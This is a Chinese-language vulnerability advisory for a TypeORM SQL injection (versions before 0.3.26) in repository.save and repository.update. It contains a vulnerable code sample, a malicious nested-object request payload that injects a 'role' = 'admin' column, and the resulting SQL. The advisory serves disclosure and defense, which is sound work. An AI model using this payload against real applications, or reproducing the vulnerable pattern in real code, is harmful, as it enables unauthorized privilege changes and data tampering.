TypeORM在0.3.26之前版本存在SQL注入漏洞,攻击者可通过精心构造的请求在repository.save或repository.update方法中执行恶意SQL代码,导致数据泄露和未授权修改。
漏洞概述
TypeORM在0.3.26之前版本存在SQL注入漏洞,攻击者可通过精心构造的请求在repository.save或repository.update方法中执行恶意SQL代码。
受影响版本
- 受影响版本:< 0.3.26
- 已修复版本:0.3.26
漏洞详情
漏洞代码示例
1
2
3
4
5
6
7
8
|
const { username, city, name} = req.body;
const updateData = {
username,
city,
name,
id:userId
}; // 开发者意图只允许更新上述三个字段
const result = await userRepo.save(updateData);
|
正常负载示例
1
|
username=myusername&city=Riga&name=Javad
|
或
1
|
{"username":"myusername","phone":12345,"name":"Javad"}
|
生成的SQL查询:
1
2
3
4
5
|
UPDATE `user`
SET `username` = 'myusername',
`city` = 'Riga',
`name` = 'Javad'
WHERE `id` IN (1);
|
恶意负载示例
1
|
username=myusername&city[name]=Riga&city[role]=admin
|
或
1
|
{"username":"myusername","city":{"name":"Javad","role":"admin"}}
|
生成的含注入列的SQL查询:
1
2
3
4
5
|
UPDATE `user`
SET `username` = 'myusername',
`city` = `name` = 'Javad',
`role` = 'admin'
WHERE `id` IN (1);
|
根本原因
该漏洞的根本原因是TypeORM使用mysql2时未为stringifyObjects选项指定值。在mysql和mysql2中,此选项默认为false。该选项随后作为false传递给SQLString库,导致sqlstring使用objectToValues以异常方式解析对象。
安全评分
- CVSS总体评分:8.9(高危)
- 攻击向量:网络
- 攻击复杂度:低
- 所需权限:无
- 用户交互:无
参考链接